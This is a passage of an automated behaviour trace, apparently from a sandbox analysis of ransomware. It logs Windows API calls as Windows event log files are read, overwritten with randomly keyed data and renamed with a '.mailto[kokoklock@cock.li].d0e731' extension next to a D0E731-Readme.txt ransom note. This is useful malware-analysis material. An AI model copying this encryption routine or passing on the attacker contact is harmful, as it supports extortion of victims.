lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.038] WriteFile (in: hFile=0x528, lpBuffer=0x2f96818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaefbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f96818*, lpNumberOfBytesWritten=0xbaefbe0*=0x20, lpOverlapped=0x0) returned 1 [0168.038] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaefbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xbaefbe0*=0x20, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaefbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xbaefbe0*=0x20, lpOverlapped=0x0) returned 1 [0168.039] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xbaefbe8*=0x8, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0xbaefc00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0xbaefc00*, lpNumberOfBytesWritten=0xbaefbe8*=0x4, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xbaefbe8*=0x4, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xbaefbe8*=0x6c, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f96868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f96868*, lpNumberOfBytesWritten=0xbaefbe8*=0x20, lpOverlapped=0x0) returned 1 [0168.039] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xbaefbe8*=0x4, lpOverlapped=0x0) returned 1 [0168.039] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0168.039] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0168.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0168.040] CloseHandle (hObject=0x528) returned 1 [0168.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84818 [0168.040] wcscpy (in: _Dest=0x2f84818, _Source="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0168.040] wcscat (in: _Dest=0x2f84818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.040] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.041] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84818) returned 1 [0168.041] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c08 [0168.041] wcscpy (in: _Dest=0x2fe3c08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.041] wcscat (in: _Dest=0x2fe3c08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.041] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c08) returned 1 [0168.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98b98) returned 1 [0168.041] RtlExitUserThread (Status=0x1) Thread: id = 1687 os_tid = 0x440 [0168.043] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.043] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.043] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\security.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.043] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xbb6f83c | out: lpFileSize=0xbb6f83c*=1118464) returned 1 [0168.044] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1110fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.044] ReadFile (in: hFile=0x528, lpBuffer=0xbb6f810, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0xbb6f810*, lpNumberOfBytesRead=0xbb6f80c*=0x4, lpOverlapped=0x0) returned 1 [0168.045] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0168.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0168.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0168.045] NtQuerySystemTime (in: CurrentTime=0xbb6f7e8 | out: CurrentTime=0xbb6f7e8*=132121213253658032) returned 0x0 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xdfb5ec9 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x5f305cb3 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x9717f40 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x37fa1d0d [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x950fdd4d [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xcbc065eb [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x96aea3f7 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x1e59bee2 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xd971f32e [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x4f11a302 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x424435e1 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x990d3443 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xb879e5dc [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xbe19f8d4 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xff21bcb3 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x62ee4cc8 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x535bbf90 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x959818a6 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x1b56d233 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xb14160be [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x5884cdcf [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xef75399f [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xb6ab24d [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x18399052 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x2539e914 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x449a041d [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xbf0715ef [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x864f5ef1 [0168.045] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x663daa20 [0168.046] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x3e2983c1 [0168.046] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0xd9fc424e [0168.046] RtlRandom (in: Seed=0xbb6f7f4 | out: Seed=0xbb6f7f4) returned 0x498788fc [0168.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0168.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0168.056] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.056] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0168.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.057] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.057] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.058] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0168.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0168.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0168.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0168.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0168.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0168.059] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.060] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.060] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.061] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0168.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0168.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0168.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0168.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0168.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0168.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0168.062] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.062] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.062] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.063] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0168.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0168.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0168.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0168.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3024930 [0168.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024930) returned 1 [0168.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0168.064] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbb6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbb6f7a8*=0x4096, lpOverlapped=0x0) returned 1 [0168.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.064] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb6f804, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xbb6f804*=0x20, lpOverlapped=0x0) returned 1 [0168.064] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb6f804, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0xbb6f804*=0x20, lpOverlapped=0x0) returned 1 [0168.064] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb6f804, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xbb6f804*=0x20, lpOverlapped=0x0) returned 1 [0168.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xbb6f80c*=0x8, lpOverlapped=0x0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0xbb6f824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0xbb6f824*, lpNumberOfBytesWritten=0xbb6f80c*=0x4, lpOverlapped=0x0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xbb6f80c*=0x4, lpOverlapped=0x0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xbb6f80c*=0x6c, lpOverlapped=0x0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0x2f96868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0x2f96868*, lpNumberOfBytesWritten=0xbb6f80c*=0x20, lpOverlapped=0x0) returned 1 [0168.065] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbb6f80c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xbb6f80c*=0x4, lpOverlapped=0x0) returned 1 [0168.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0168.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0168.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0168.065] CloseHandle (hObject=0x528) returned 1 [0168.065] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f837f0 [0168.066] wcscpy (in: _Dest=0x2f837f0, _Source="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" [0168.066] wcscat (in: _Dest=0x2f837f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.066] MoveFileW (lpExistingFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\security.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.066] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.067] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f837f0) returned 1 [0168.067] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3dc8 [0168.067] wcscpy (in: _Dest=0x2fe3dc8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.067] wcscat (in: _Dest=0x2fe3dc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.067] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.067] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3dc8) returned 1 [0168.067] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faade0) returned 1 [0168.067] RtlExitUserThread (Status=0x1) Thread: id = 1688 os_tid = 0xd90 [0168.070] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\setup.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.070] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.071] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\setup.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.071] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xbbefbd4 | out: lpFileSize=0xbbefbd4*=69824) returned 1 [0168.071] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.071] ReadFile (in: hFile=0x528, lpBuffer=0xbbefba8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0xbbefba8*, lpNumberOfBytesRead=0xbbefba4*=0x4, lpOverlapped=0x0) returned 1 [0168.072] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0168.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0168.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0168.072] NtQuerySystemTime (in: CurrentTime=0xbbefb80 | out: CurrentTime=0xbbefb80*=132121213253814106) returned 0x0 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x8b51a28a [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x2925db53 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xbc6129a8 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xc4ac02e1 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xd527cd7 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xf5f97d88 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x60828d63 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xe4f8aff8 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x69a31b28 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x9debc40e [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xfe26b77e [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x1168bca0 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x3129a501 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x97e1c8d [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xcdec22a9 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xfb80063e [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x8bdfca09 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x4842faa0 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xc41119f4 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x3b840809 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: 